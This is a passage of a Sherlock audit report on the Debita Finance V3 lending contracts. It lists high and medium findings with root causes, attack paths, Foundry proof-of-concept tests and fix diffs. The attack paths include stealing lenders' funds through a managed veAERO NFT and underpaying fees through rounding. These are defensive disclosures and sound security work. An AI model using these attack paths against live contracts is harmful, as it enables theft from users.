SHERLOCK

Security Review For Debita Finance

Public Best Efforts Audit Contest Prepared For:	**Debita Finance**
Lead Security Expert:	**xiaoming90**
Date Audited:	**November 11 - November 25, 2024**
Final Commit:	**b0120d9**

Introduction

Debita is a dApp focused on financial NFTs that integrates a marketplace, lending protocol, and ve3.3 management.

Scope

Repository: DebitaFinance/Debita-V3-Contracts

Audited Commit: bf92c2f839c086be957e3ed6a23b8c11111c7648

Final Commit: b0120d97291c484f3219a45d5faeade3d51dd7dd

Files:

- contracts/DebitaBorrowOffer-Factory.sol
- contracts/DebitaBorrowOffer-Implementation.sol
- contracts/DebitaIncentives.sol
- contracts/DebitaLendOffer-Implementation.sol
- contracts/DebitaLendOfferFactory.sol
- contracts/DebitaLoanOwnerships.sol
- contracts/DebitaV3Aggregator.sol
- contracts/DebitaV3Loan.sol
- contracts/Non-Fungible-Receipts/TaxTokensReceipts/TaxTokensReceipt.sol
- contracts/Non-Fungible-Receipts/veNFTS/Aerodrome/Receipt-veNFT.sol
- contracts/Non-Fungible-Receipts/veNFTS/Aerodrome/veNFTAerodrome.sol
- contracts/auctions/Auction.sol
- contracts/auctions/AuctionFactory.sol
- contracts/buyOrders/buyOrder.sol
- contracts/buyOrders/buyOrderFactory.sol
- contracts/oracles/DebitaChainlink.sol
- contracts/oracles/DebitaPyth.sol
- contracts/oracles/MixOracle/MixOracle.sol

Final Commit Hash

b0120d97291c484f3219a45d5faeade3d51dd7dd

Findings

Each issue has an assigned severity:

- Medium issues are security vulnerabilities that may not be directly exploitable or may require certain conditions in order to be exploited. All major issues should be addressed.
- High issues are directly exploitable security vulnerabilities that need to be fixed.

Issues Found

High	Medium
5	22

Issues Not Fixed and Not Acknowledged

High	Medium
0	0

Security experts who found valid issues

0x37
0xAristos
0xPhantom2
0xSolus
0xc0ffEE
0xe4669da
0xloscar01
0xlrivo
0xmujahid002
4lifemen
Ace-30
AdamSzymanski
Audinarey
BengalCatBalu
CL001
Cybrid
DenTonylifer
ExtraCaterpillar
Falendar
Feder
Flashloan44
Greed
Greese
Honour
IzuMan
KaplanLabs
KiroBrejka
KlosMitSoss
KungFuPanda
KupiaSec
Maroutis
Moksha
Nave765
Pablo
Pro_King
Ryonen
VAD37
Valy001
Vasquez
Vidus
ahmedovv
alexbabits
almantare
aman
araj
arman
bbl4de
befree3x
copperscrewer
dany.armstrong90
davidjohn241018
dhank
dimah7
dimulski

durov
eeshenggoh
farismaulana
h4rs0n
jjk
jo13
jsmi
kazan
lanrebayode77
liquidbuddha
merlin
mike-watson
mladenov
momentum
moray5554
newspacexyz
nikhil840096
nikhilx0111
onthehunt
pashap9990
pepocpeter
prosper
robertodf
s0x0mtee
shaflow01
stakog
t.aksoy
theweb3mechanic
tjonair
tmotfl
tourist
utsav
xiaoming90
ydlee
yovchev_yoan
zkillua

Issue H-1: Lenders and borrowers can not claim liquidation token after NFT collateral auction sold

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/156

Found by

0xc0ffEE

Summary

The incorrect logic in function `veNFTAerodrome::getDataByReceipt()` will cause the lenders and borrowers unable to claim liquidation token after the NFT auction sold

Root Cause

- The function DebitaV3Loan::claimCollateralAsNFTLender() allows the lenders to claim the liquidation token after the NFT collateral auction is sold.
- The function DebitaV3Loan::claimCollateralNFTAsBorrower() allows the borrower to claim the liquidation token in case partial default
- The 2 functions above call `veNFTAerodrome::getDataByReceipt()` to retrieve the liquidation token's decimals to calculate the payment amount
- These 2 flows above can be reverted because of unhandled case in the function veNFTAerodrome::getDataByReceipt(). The mentioned unhandled case is when there is no owner of the receipt token, such that `ownerOf(receiptID)` reverts because of non-exist token.

```
    function getDataByReceipt(
        uint receiptID
    ) public view returns (receiptInstance memory) {
        veNFT veContract = veNFT(nftAddress);
        veNFTVault vaultContract = veNFTVault(s_ReceiptID_to_Vault[receiptID]);
        uint nftID = vaultContract.attached_NFTID();
        IVotingEscrow.LockedBalance memory _locked = veContract.locked(nftID);
        uint _decimals = ERC20(_underlying).decimals();
        address manager = vaultContract.managerAddress();
@>        address currentOwnerOfReceipt = ownerOf(receiptID);
        receiptInstance memory receiptData = receiptInstance({
            receiptID: receiptID,
            attachedNFT: nftID,
            lockedAmount: uint(int(_locked.amount)),
```

```
            lockedDate: _locked.end,
            decimals: _decimals,
            vault: address(vaultContract),
            underlying: _underlying,
            OwnerIsManager: manager == currentOwnerOfReceipt
        });
        return receiptData;
    }
```

```
    function ownerOf(uint256 tokenId) public view virtual returns (address) {
        return _requireOwned(tokenId);
    }
...
    function _requireOwned(uint256 tokenId) internal view returns (address) {
        address owner = _ownerOf(tokenId);
        if (owner == address(0)) {
@>              revert ERC721NonexistentToken(tokenId);
        }
        return owner;
    }
```

This state can be reached when the auction buyer withdraws veNFT by calling veNFTVault::withdraw(), which will burn the receipt token

```
    function withdraw() external nonReentrant {
        IERC721 veNFTContract = IERC721(veNFTAddress);
        IReceipt receiptContract = IReceipt(factoryAddress);
        uint m_idFromNFT = attached_NFTID;
        address holder = receiptContract.ownerOf(receiptID);

        // RECEIPT HAS TO BE ON OWNER WALLET
        require(attached_NFTID != 0, "No attached nft");
        require(holder == msg.sender, "Not Holding");
        receiptContract.decrease(managerAddress, m_idFromNFT);

        delete attached_NFTID;

        // First: burn receipt
@>        IReceipt(factoryAddress).burnReceipt(receiptID);
        IReceipt(factoryAddress).emitWithdrawn(address(this), m_idFromNFT);
        // Second: send them their NFT
        veNFTContract.transferFrom(address(this), msg.sender, m_idFromNFT);
    }
```

```
    function burnReceipt(uint id) external onlyVault {
@>        _burn(id);
    }
```

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

- A borrower deposits veNFT to veNFTVault by calling `veNFTAerodrome::deposit()`, effectively receives a Receipt token
- The borrower creates borrow offer with the above Receipt token as collateral
- The borrow offer is matched with many lend offers
- The borrower does not pay debt for all lend offers before the deadline and a lender calls `createAuctionForCollateral` to create an auction for the collateral
- Auction is sold
- The auction buyer, now the current holder of the Receipt token, decides to withdraw the veNFT from the vault by calling `veNFTVault::withdraw()`
- At this time, both borrower and lenders can not claim liquidation token

Impact

- Loss of liquidation for both lenders and borrower

PoC

Update the test `testDefaultAndAuctionCall` in file `test/fork/Loan/ltv/OracleOneLenderLoanReceipt.t.sol` as below:

```
function testDefaultAndAuctionCall() public {
    MatchOffers();
    uint256[] memory indexes = allDynamicData.getDynamicUintArray(1);
    indexes[0] = 0;
    vm.warp(block.timestamp + 8640010);
    DebitaV3LoanContract.createAuctionForCollateral(0);
    DutchAuction_veNFT auction =
↪   DutchAuction_veNFT(DebitaV3LoanContract.getAuctionData().auctionAddress);
    DutchAuction_veNFT.dutchAuction_INFO memory auctionData =
↪   auction.getAuctionData();
```

```
    vm.warp(block.timestamp + (86400 * 10) + 1);

    address buyer = 0x5C235931376b21341fA00d8A606e498e1059eCc0;
    deal(AERO, buyer, 100e18);
    vm.startPrank(buyer);

    AEROContract.approve(address(auction), 100e18);
    auction.buyNFT();
    vm.stopPrank();
    address ownerOfNFT = receiptContract.ownerOf(receiptID);


    // buyer withdraws NFT
    vm.startPrank(ownerOfNFT);
    address vaultAddress = receiptContract.s_ReceiptID_to_Vault(receiptID);
    veNFTVault vault = veNFTVault(vaultAddress);
    vault.withdraw();

    // lender claim liquidation token
    vm.stopPrank();
    vm.expectRevert();
    DebitaV3LoanContract.claimCollateralAsLender(0);
}
```

Run the test and console shows:

```
Ran 1 test for
 ↪  test/fork/Loan/ltv/OracleOneLenderLoanReceipt.t.sol:DebitaAggregatorTest
[PASS] testDefaultAndAuctionCall() (gas: 3381044)
```

Mitigation

1/ Update the function `getDataByReceipt()` to handle the case non-exist token, instead of reverting 2/ OR update the logic to fetch the `decimals` in functions `claimCollateralAsNFTLender` and `claimCollateralNFTAsBorrower`

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/DebitaFinance/Debita-V3-Contracts/commit/8eb4deaff92b143dfb838f0eda8c5adeca2fac8c

Issue H-2: Nobody can buy the `TaxTokenReceipt` NFT from auction

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/388

Found by

0x37, 0xPhantom2, KaplanLabs, KiroBrejka, bbl4de, dhank, dimulski, tmotfl, xiaoming90

Summary

Nobody can buy the `TaxTokenReceipt` NFT from auction due to the overrided `transferFrom` function. The `transferFrom` function is overrided with the following checks:

```
function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override(ERC721, IERC721) {
        bool isReceiverAddressDebita = IBorrowOrderFactory(borrowOrderFactory)
            .isBorrowOrderLegit(to) ||
            ILendOrderFactory(lendOrderFactory).isLendOrderLegit(to) ||
            IAggregator(Aggregator).isSenderALoan(to);
        bool isSenderAddressDebita = IBorrowOrderFactory(borrowOrderFactory)
            .isBorrowOrderLegit(from) ||
            ILendOrderFactory(lendOrderFactory).isLendOrderLegit(from) ||
            IAggregator(Aggregator).isSenderALoan(from);
        // Debita not involved --> revert
        require(
            isReceiverAddressDebita || isSenderAddressDebita,
            "TaxTokensReceipts: Debita not involved"
        );
```

This ensures that the transfer of the NFT, will go smoothly through the system, but one thing is missing. The thing is that if a borrower doesn't pay off his debt amount and the loan is auctioned, nobody will be able to buy the NFT off. This is because the `transferFrom` function requires for the `from` and `to` addresses to be either a `BorrowOrder`, `LendOrder` or a `Loan` to be able to transfer the receipt NFT. At the point when the NFT is in the `Auction` contract it will be too late because neither the `Auction` contract nor the `msg.sender` is or can be one of the listed. This means that it is impossible to get any amount of collateral token out of the NFT, which means that the lenders will experience a big loss of funds

Root Cause

The modifications of the `ERC721::transferFrom` function

Internal pre-conditions

TaxTokenReceipt being used as loan collateral

External pre-conditions

None

Attack Path

1. User makes `BorrowOrder` with `TaxTokenReceipt` NFT as collateral
2. The offer is matched and a loan is now created.
3. Borrower doesn't pay his loan off
4. Loan is auctioned and the NFT is transferred to the created auction (Up to this moment everything is going smoothly because at least one address in the sequence meets the criteria of being either a `BorrowOrder`, `LoanOrder` or a `Loan`)
5. At this point there is no eligible address since the `Auction` address doesn't meet the criteria and the `msg.sender` is just unable to meet it since neither the `BorrowOrder` nor the `LendOrder` can call Auction::buyNFT function.

Impact

Lenders will experience big loss of funds, since the NFT can't be sold. Borrower will go off with their principle token and money that they should get in the form of NFT underlying are frozen forever.

PoC

No response

Mitigation

Add a check to the `TaxTokenReceipt` NFT that ensures that an auction is active (Has an index different than 0 in the `auctionFactoryDebita::AuctionOrderIndex` mapping) and it is part of the `Debita` system (as it is indeed part of the system)

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/77653c1b2b5aacdbf4ae340d50504e056b8d8540

Issue H-3: Managed veAERO NFT can be exploited to steal funds from lenders

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/535

Found by

KaplanLabs, xiaoming90

Summary

No response

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

Instance 1

The Aerodrome's veAERO NFT can be an unmanaged veNFT OR managed veNFT. A managed veAERO NFT (also called (m)veAERO NFT) operates like a vault that allows users to deposit and withdraw their unmanaged veNFT into the managed veNFT via the Voter.depositManaged and Voter.withdrawManaged functions. Thus, the locked amount within the (m)veAERO NFT can increase or decrease.

Bob, the malicious user, owns a (m)veAERO NFT and locks his unmanaged veNFT worth 1,000,000 AERO within it. He then converts it into an NFT receipt and uses it as collateral in his borrow offer. The borrow offer intends to exchange borrow 1,000,000 USDC at the price/ratio of 1 AERO = 1 USDC.

Bob then matches his borrow order against other users' lending orders via the permissionless DebitaV3Aggregator.matchOffersV3 function himself. A new Loan

contract is created, and 1,000,000 USDC is sent to Bob's wallet, and the (m)veAERO NFT is transferred into the Loan contract.

Next, Bob calls the Voter.withdrawManaged function to withdraw his unmanaged veNFT, which is worth 1,000,000 AERO, from the (m)veAERO NFT. As a result, the (m)veAERO NFT collateral within the Loan becomes worthless now.

Bob now holds 1,000,000 USDC and 1,000,000 AERO.

Bob defaults on the Loan, and the (m)veAERO NFT will be auctioned. Since the (m)veAERO NFT is worthless, no one will purchase it, and the lender will not get any funds back and will lose 1,000,000 USDC

Instance 2

Any mechanism that relies on NFT receipt will be vulnerable to such an issue by exploiting the managed veNFT.

Another instance that is affected by a similar issue is the BuyOrder.sellNFT function, where the NFT receipt with managed veNFT is placed within a buy order and put up for sale. Once the NFT receipt is sold, the seller can proceed to withdraw all the locked amount within the NFT receipt, leaving the buyer with a worthless NFT receipt. Since the root cause is similar, the attack path will be omitted for brevity.

Impact

High. Loss of assets for lenders and buyers.

PoC

No response

Mitigation

No response

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/992eb89cb38543a8fa4d168fef79e2f1c8ab67e2

Issue H-4: No one can sell `TaxTokensReceipts` NFT receipt to the buy order

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/560

The protocol has acknowledged this issue.

Found by

0x37, KiroBrejka, bbl4de, dimulski, xiaoming90

Summary

No response

Root Cause

No response

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

The `TaxTokensReceipts` NFT receipt exist to allow FOT to be used within the Debita ecosystem. If users have any tokens that charge a tax/fee on transfer, they must deposit them into the `TaxTokensReceipts` NFT receipt and use the NFT within the Debita ecosystem.

The new Debita protocol has a new feature called "Buy Order" or "Limit Order" that allows users to create buy orders, providing a mechanism for injecting liquidity to purchase specific receipts at predetermined ratios. The receipts include the `TaxTokensReceipts` NFT receipt.

Assume that Bob creates a new Buy Order to purchase `TaxTokensReceipts` NFT receipt. Alice, the holder of `TaxTokensReceipts` NFT receipt, decided to sell it to Bob's Buy Order.

Thus, she called the `buyOrder.sellNFT()` function, and Line 99 below will attempt to transfer Alice's `TaxTokensReceipts` NFT receipt to the Buy Order contract.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/buyOrders/buyOrder.sol#L99

```
File: buyOrder.sol
092:     function sellNFT(uint receiptID) public {
093:         require(buyInformation.isActive, "Buy order is not active");
094:         require(
095:             buyInformation.availableAmount > 0,
096:             "Buy order is not available"
097:         );
098:
099:         IERC721(buyInformation.wantedToken).transferFrom(
100:             msg.sender,
101:             address(this),
102:             receiptID
103:         );
```

However, the transfer will always revert because the transfer function has been overwritten, as shown below. The transfer function has been overwritten to only allow the transfer to proceed if the `to` or `from` involves the following three (3) contracts:

1. Borrow Order Contract
2. Lend Order Contract
3. Loan Contract

Since neither the Buy Order contract nor the seller (Alice) is the above three contracts, the transfer will always fail. Thus, there is no way for anyone to sell their `TaxTokensReceipts` NFT receipt to the buy order. Thus, this feature is effectively broken.

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/Non-Fungible-Receipts/TaxTokensReceipts/TaxTokensReceipt.sol#L98

```
File: TaxTokensReceipt.sol
093:     function transferFrom(
094:         address from,
095:         address to,
096:         uint256 tokenId
097:     ) public virtual override(ERC721, IERC721) {
098:         bool isReceiverAddressDebita = IBorrowOrderFactory(borrowOrderFactory)
099:             .isBorrowOrderLegit(to) ||
100:             ILendOrderFactory(lendOrderFactory).isLendOrderLegit(to) ||
101:             IAggregator(Aggregator).isSenderALoan(to);
102:         bool isSenderAddressDebita = IBorrowOrderFactory(borrowOrderFactory)
103:             .isBorrowOrderLegit(from) ||
104:             ILendOrderFactory(lendOrderFactory).isLendOrderLegit(from) ||
```

```
105:             IAggregator(Aggregator).isSenderALoan(from);
106:         // Debita not involved --> revert
107:         require(
108:             isReceiverAddressDebita || isSenderAddressDebita,
109:             "TaxTokensReceipts: Debita not involved"
110:         );
```

Impact

Medium. Core protocol functionality (Buy Order/Limit Order) is broken.

PoC

No response

Mitigation

Buy Order contract must be authorized to transfer `TaxTokensReceipt` NFT as it is also part of the Debita protocol.

```
    function transferFrom(
        address from,
        address to,
        uint256 tokenId
    ) public virtual override(ERC721, IERC721) {
        bool isReceiverAddressDebita = IBorrowOrderFactory(borrowOrderFactory)
            .isBorrowOrderLegit(to) ||
            ILendOrderFactory(lendOrderFactory).isLendOrderLegit(to) ||
+                       IBuyOrderFactory(buyOrderFactory).isBuyOrderLegit(to) ||
            IAggregator(Aggregator).isSenderALoan(to);
        bool isSenderAddressDebita = IBorrowOrderFactory(borrowOrderFactory)
            .isBorrowOrderLegit(from) ||
            ILendOrderFactory(lendOrderFactory).isLendOrderLegit(from) ||
+                       IBuyOrderFactory(buyOrderFactory).isBuyOrderLegit(from) ||
            IAggregator(Aggregator).isSenderALoan(from);
        // Debita not involved --> revert
        require(
            isReceiverAddressDebita || isSenderAddressDebita,
            "TaxTokensReceipts: Debita not involved"
        );
```

Issue H-5: After the buyOrder is completed, the order creator does not receive the NFT

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/890

Found by

0x37, 0xPhantom2, 4lifemen, Audinarey, BengalCatBalu, CL001, Cybrid, DenTonylifer, Greed, Greese, IzuMan, KiroBrejka, KungFuPanda, Pro_King, Valy001, alexbabits, araj, dhank, dimulski, durov, kazan, lanrebayode77, merlin, newspacexyz, nikhilx0111, pashap9990, shaflow01, t.aksoy, utsav, xiaoming90, ydlee

Summary

After sellNFT is completed, the NFT should be transferred to the order creator, but this is not done.

Root Cause

After the buyOrder is completed, the order creator does not receive the NFT, and the NFT is sent directly to **buyOrderContract**

The latter only emits an event and deletes the order, but does not transfer the NFT to the order creator

Internal pre-conditions

External pre-conditions

1. User A create buyOrder.
2. User B **sellNFT**.

Attack Path

1. User A create buyOrder.
2. User B **sellNFT**,and receive **buyToken**
3. But **order creator** will lose the NFT

Impact

The buyOrder creator will lose the NFT

PoC

Path: test/fork/BuyOrders/BuyOrder.t.sol

```
function testpoc() public{
        vm.startPrank(seller);
        receiptContract.approve(address(buyOrderContract), receiptID);
        uint balanceBeforeAero = AEROContract.balanceOf(seller);
        address owner = receiptContract.ownerOf(receiptID);

        console.log("receipt owner before sell",owner);


        buyOrderContract.sellNFT(receiptID);
        address owner1 = receiptContract.ownerOf(receiptID);
        console.log("receipt owner after sell",owner1);
        //owner = buyOrderContract
        assertEq(owner1,address(buyOrderContract));


        vm.stopPrank();

    }
```

[PASS] testpoc() (gas: 242138) Logs: receipt owner before sell 0x81B2c95353d69580875a7aFF5E8f018F1761b7D1 receipt owner after sell 0xffD4505B3452Dc22f8473616d50503bA9E1710Ac

Mitigation

After the buyOrder is completed,the NFT should be transferred to the order creator

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/DebitaFinance/Debita-V3-Contracts/commit/d6f3b76c256713f0aa132a015ced6eb60ec389cb

Issue M-1: Lend offer can be deleted multiple times

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/119

Found by

0x37, 0xAristos, 0xSolus, KlosMitSoss, Vidus, bbl4de, copperscrewer, liquidbuddha, newspacexyz, onthehunt, theweb3mechanic

Summary

Lack of check in addFunds() function. This will cause one lend offer can be deleted twice.

Root Cause

In DebitaLendOffer-Implementation:178, there is one perpetual mode. Considering one scenario: The lend offer is in perpetual mode and current `availableAmount` equals 0. Now when we try to change perpetual to false, we will delete this lend order. The problem is that we lack updating `isActive` to false in changePerpetual(). This will cause that the owner can trigger `changePerpetual` multiple times to delete the same lend order. When we repeat deleting the same lend order in `deleteOrder`, we will keep decreasing `activeOrdersCount`. This will impact other lend offer. Other lend offers may not be deleted.

```
function changePerpetual(bool _perpetual) public onlyOwner nonReentrant {
    require(isActive, "Offer is not active");
    lendInformation.perpetual = _perpetual;
    if (_perpetual == false && lendInformation.availableAmount == 0) {
        IDLOFactory(factoryContract).emitDelete(address(this));
        IDLOFactory(factoryContract).deleteOrder(address(this));
    } else {
        IDLOFactory(factoryContract).emitUpdate(address(this));
    }
}
```

```
function deleteOrder(address _lendOrder) external onlyLendOrder {
    uint index = LendOrderIndex[_lendOrder];
    LendOrderIndex[_lendOrder] = 0;
    // switch index of the last borrow order to the deleted borrow order
    allActiveLendOrders[index] = allActiveLendOrders[activeOrdersCount - 1];
    LendOrderIndex[allActiveLendOrders[activeOrdersCount - 1]] = index;
    // take out last borrow order
    allActiveLendOrders[activeOrdersCount - 1] = address(0);
```

```
    activeOrdersCount--;
}
```

Internal pre-conditions

N/A

External pre-conditions

N/A

Attack Path

1. Alice creates one lend order with perpetual mode.
2. Match Alice's lend order to let `availableAmount` to 0.
3. Alice triggers `changePerpetual` repeatedly to let `activeOrdersCount` to 0.
4. Other lend orders cannot be deleted.

Impact

All lend orders cannot be deleted. This will cause that lend order cannot be cancelled or may not accept this lend offer if we want to use the whole lend order's principle.

PoC

N/A

Mitigation

When we delete the lend order, we should set it to inactive. This will prevent changePerpetual() retriggered repeatedly.

```
     function changePerpetual(bool _perpetual) public onlyOwner nonReentrant {
         require(isActive, "Offer is not active");

         lendInformation.perpetual = _perpetual;
         if (_perpetual == false && lendInformation.availableAmount == 0) {
+            isActive = false;
             IDLOFactory(factoryContract).emitDelete(address(this));
             IDLOFactory(factoryContract).deleteOrder(address(this));
         } else {
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/307e2360dd9aaac443f17547466c51718d4cefd3

Issue M-2: Borrowers can not extend loans which has maximum duration less than 24 hours

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/153

Found by

0x37, 0xc0ffEE, KaplanLabs, bbl4de, dhank, farismaulana, nikhil840096, ydlee

Summary

The logics to calculate the missing borrow fee is incorrect, which will cause the borrowers can not extend loans having maximum duration less than 24 hours because of arithmetic underflow

Root Cause

- In function `DebitaV3Loan::extendLoan()`, the borrower has to pay the extra fee if he has not paid maximum fee yet.
- The variable `feeOfMaxDeadline` is expected to be the fee to pay for lend offer's maximum duration, which is then adjusted to be within the range `[feePerDay; maxFee]`. This implies that the extra fee considers offer's min duration fee to be 1 day
- The fee paid for the initial duration is bounded to be within the range `[minFEE; maxFee]`
- The fee configurations are set initially as. The fee implies that min fee for the loan initial duration is 0.2% , = 5 days of fee

```
uint public feePerDay = 4; // fee per day (0.04%)
uint public maxFEE = 80; // max fee 0.8%
uint public minFEE = 20; // min fee 0.2%
```

- The extra fee to be paid is calculated as `misingBorrowFee = feeOfMaxDeadline - PorcentageOfFeePaid`, which will revert due to arithmetic underflow in case the loan's initial duration is less than 24 hours and the unpaid offers' maximum duration is also less than 24 hours. In this situation, the values will satisfy `PorcentageOfFeePaid = minFEE = 0.2%`, `feeOfMaxDeadline = feePerDay = 0.04%`, which will cause `misingBorrowFee = feeOfMaxDeadline - PorcentageOfFeePaid` to revert because of arithmetic underflow

```
        uint feePerDay = Aggregator(AggregatorContract).feePerDay();
        uint minFEE = Aggregator(AggregatorContract).minFEE();
        uint maxFee = Aggregator(AggregatorContract).maxFEE();
@>        uint PorcentageOfFeePaid = ((m_loan.initialDuration * feePerDay) /
            86400);
        // adjust fees

        if (PorcentageOfFeePaid > maxFee) {
            PorcentageOfFeePaid = maxFee;
        } else if (PorcentageOfFeePaid < minFEE) {
@>            PorcentageOfFeePaid = minFEE;
        }

        // calculate interest to pay to Debita and the subtract to the lenders

        for (uint i; i < m_loan._acceptedOffers.length; i++) {
            infoOfOffers memory offer = m_loan._acceptedOffers[i];
            // if paid, skip
            // if not paid, calculate interest to pay
            if (!offer.paid) {
                uint alreadyUsedTime = block.timestamp - m_loan.startedAt;

                uint extendedTime = offer.maxDeadline -
                    alreadyUsedTime -
                    block.timestamp;
                uint interestOfUsedTime = calculateInterestToPay(i);
                uint interestToPayToDebita = (interestOfUsedTime * feeLender) /
                    10000;

                uint misingBorrowFee;

                // if user already paid the max fee, then we dont have to charge
 ↪  them again
                if (PorcentageOfFeePaid != maxFee) {
                    // calculate difference from fee paid for the initialDuration
 ↪  vs the extra fee they should pay because of the extras days of extending the
 ↪  loan.  MAXFEE shouldnt be higher than extra fee + PorcentageOfFeePaid
@>                    uint feeOfMaxDeadline = ((offer.maxDeadline * feePerDay) /
                      86400);
                    if (feeOfMaxDeadline > maxFee) {
                        feeOfMaxDeadline = maxFee;
                    } else if (feeOfMaxDeadline < feePerDay) {
@>                        feeOfMaxDeadline = feePerDay;
                    }

@>                    misingBorrowFee = feeOfMaxDeadline - PorcentageOfFeePaid;
                }
```

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

1. A borrow offer is created with duration = 5 hours
2. A lend offer is created with min duration = 3 hours, max duration = 12 hours
3. 2 offers matched
4. After 4 hours, the borrower decides to extend loan by calling `extendLoan()` and transaction gets reverted

Impact

- Borrowers can not extend loan for the loans having durations less than 24 hours (both initial duration and offers' max duration)

PoC

No response

Mitigation

Consider updating like below

```
- } else if (feeOfMaxDeadline < feePerDay) {
-                         feeOfMaxDeadline = feePerDay;
+ } else if (feeOfMaxDeadline < minFEE) {
+                         feeOfMaxDeadline = minFEE;
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/2958108a7a7307830953dec9bf4f3178a6cff434

Issue M-3: The precision loss in the fee percentage for connecting offers results in the borrower paying less than the expected fee.

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/208

Found by

nikhil840096, ydlee

Summary

Some of the borrowed principal tokens is charged as a fee for connecting transactions. The percentage of the fee is calculated according to `DebitaV3Aggregator.sol:391`. There is a non-negligible precision loss in the calculation process. Since the default `feePerDay` is `4`, the maximum loss could reach up to `1/4` of the daily fee, which is significant, especially when the amount borrowed is substantial.

```
391:     uint percentage = ((borrowInfo.duration * feePerDay) / 86400);  //
↪  @audit-issue   1/4
```

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L391

There are another 2 instances of the issue in `DebitaV3Load.sol:extendLoan`.

```
571:     uint PorcentageOfFeePaid = ((m_loan.initialDuration * feePerDay) /
572:         86400);
```

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L571-L572

```
602:                 uint feeOfMaxDeadline = ((offer.maxDeadline * feePerDay) /
603:                     86400);
```

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L602-L603

Root Cause

In `DebitaV3Aggregator.sol:391`, rounding down the fee percentage can lead to a non-trivial precision loss.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

By setting the borrowing duration to `N days + 86400/4 - 1`, users can save the maximum fee.

Impact

The precision loss in the fee percentage results in the borrower paying less than the expected fee, with the maximum loss potentially reaching up to `1/4` of the daily fee.

PoC

No response

Mitigation

When calculating the fee percentage, rounding up; or multiplying by a multiple to increase precision.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/c946cdd90c8d4841fa254359a863d3b574e34566

Issue M-4: The fee calculation in extendLoan function has a error

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/211

Found by

0x37, 0xPhantom2, 0xc0ffEE, 0xe4669da, ExtraCaterpillar, Falendar, KaplanLabs, Maroutis, Nave765, bbl4de, dany.armstrong90, davidjohn241018, dhank, dimulski, durov, jsmi, momentum, newspacexyz, shaflow01, ydlee

Summary

When a borrower extends the loan duration, they are required to pay additional fees for the extended time. However, due to a calculation error, this fee may be incorrect, potentially causing the user to pay more than necessary.

Root Cause

https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L602

```
// if user already paid the max fee, then we dont have to charge them again
if (PorcentageOfFeePaid != maxFee) {
    // calculate difference from fee paid for the initialDuration vs the extra fee
 ↪  they should pay because of the extras days of extending the loan.  MAXFEE
 ↪  shouldnt be higher than extra fee + PorcentageOfFeePaid
    uint feeOfMaxDeadline = ((offer.maxDeadline * feePerDay) /
        86400);
    if (feeOfMaxDeadline > maxFee) {
        feeOfMaxDeadline = maxFee;
    } else if (feeOfMaxDeadline < feePerDay) {
        feeOfMaxDeadline = feePerDay;
    }

    misingBorrowFee = feeOfMaxDeadline - PorcentageOfFeePaid;
}
```

The calculation for feeOfMaxDeadline should be:

extendedLoanDuration * feePerDay,

where extendedLoanDuration represents the extended borrowing time. However, the function mistakenly uses the timestamp directly for calculations, leading to an incorrect fee computation.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

The user might end up paying significantly higher fees than expected, leading to potential financial losses.

PoC

No response

Mitigation

```solidity
                // if user already paid the max fee, then we dont have to charge
 ↪  them again
                if (PorcentageOfFeePaid != maxFee) {
                    // calculate difference from fee paid for the initialDuration
 ↪  vs the extra fee they should pay because of the extras days of extending the
 ↪  loan.  MAXFEE shouldnt be higher than extra fee + PorcentageOfFeePaid
-                   uint feeOfMaxDeadline = ((offer.maxDeadline * feePerDay) /
+                   uint feeOfMaxDeadline = (((offer.maxDeadline -
 ↪  loanData.startedAt)* feePerDay) /
                        86400);
                    if (feeOfMaxDeadline > maxFee) {
                        feeOfMaxDeadline = maxFee;
                    } else if (feeOfMaxDeadline < feePerDay) {
                        feeOfMaxDeadline = feePerDay;
                    }

                    misingBorrowFee = feeOfMaxDeadline - PorcentageOfFeePaid;
                }
```

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits:
https://github.com/DebitaFinance/Debita-V3-Contracts/commit/63f8c4b1e4e7df734bf0926
↪ 0bd951f2c3e0da736

Issue M-5: Incorrect calculation of extended loan days leads to unfair borrower
↪ fees

Source: https://github.com/sherlock-audit/2024-10-debita-judging/issues/236

The protocol has acknowledged this issue.

Found by
newspacexyz, prosper

Summary

The miscalculation of extended loan days in the `extendLoan` function will cause
